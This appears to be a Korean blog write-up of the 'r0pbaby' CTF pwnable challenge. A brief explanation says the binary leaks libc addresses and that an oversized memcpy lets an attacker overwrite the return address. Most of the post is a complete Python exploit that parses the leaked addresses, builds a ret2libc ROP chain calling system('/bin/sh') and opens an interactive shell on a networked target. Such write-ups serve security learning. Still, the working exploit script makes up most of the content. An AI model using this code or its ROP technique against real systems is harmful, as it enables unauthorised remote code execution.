# file r0pbaby
r0pbaby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
64비트 바이너리로 PIE 기법과 NX 기법이 걸려있다.
딱히 분석하는데 어려움은 없이 간단한 프로그램이다.
프로그램을 실행했을 때, 라이브러리 주소와 내가 원하는 주소를 바로 얻을 수 있다.
취약점은 위 그림에서 터지는데.. 프로그램에서 사용자가 원하는만큼 입력을 받고 그 크기가 1023 보다 작다면 memcpy 함수를 이용해 &savedregs 영역에 입력받은 내용을 복사한다.
이 때 &savedregs 는 $rbp 에 해당하는 부분으로 16byte 만큼 입력한다면 바로 다음 RET 주소까지 컨트롤 할 수 있게 된다.
-> 64bit 에서는 인자를 rdi -> rsi -> rdx ... 순으로 참조한다.
- - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - -
from struct import *
from telnetlib import *
from socket import *
import time
import hexdump
p = lambda x : pack("<Q", x)
def get_libc():
print r.recv(1024)
r.send('1\n')
time.sleep(0.3)
data = r.recv(1024)
print data
time.sleep(0.3)
libc_addr = int(data[13:29], 16)
def get_system():
global system_libc
global pop_rdi_ret
global _bin_sh
r.send('2\n')
print r.recv(1024)
r.send('system\n')
time.sleep(0.3)
data1 = r.recv(1024)
print data1
time.sleep(0.3)
system_libc = int(data1[18:34], 16)
_libc_base_addr = system_libc - system_offset
pop_rdi_ret = _libc_base_addr + pop_rdi_ret_offset
_bin_sh = _libc_base_addr + _bin_sh_offset
def exploit():
payload = "A" * 8
payload += p(pop_rdi_ret) + p(_bin_sh) + p(system_libc)
r.send('3\n')
print r.recv(1024)
r.send('32\n')
r.send(payload + '\n')
time.sleep(0.3)
print r.recv(1024)
r.send('4\n')
t = Telnet()
t.sock = r
t.interact()
if __name__ == "__main__":
r = socket(AF_INET, SOCK_STREAM)
r.connect(('192.168.127.163', 8888))
# offset
pop_rdi_ret_offset = 0x22b31
_bin_sh_offset = 0x17ccdb
system_offset = 0x46640
# exploit
get_libc()
get_system()
exploit()
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'ctf' 카테고리의 다른 글
[pwnable.kr] simple_login (0) | 2017.01.08 |
---|---|
[Plaid CTF 2013] pork (0) | 2017.01.06 |
[CodeGate 2016 CTF] BugBug (0) | 2017.01.04 |
[CodeGate 2016 CTF] Fl0ppy (0) | 2016.12.21 |
[HolyShield 2016 CTF] pwnit (0) | 2016.12.19 |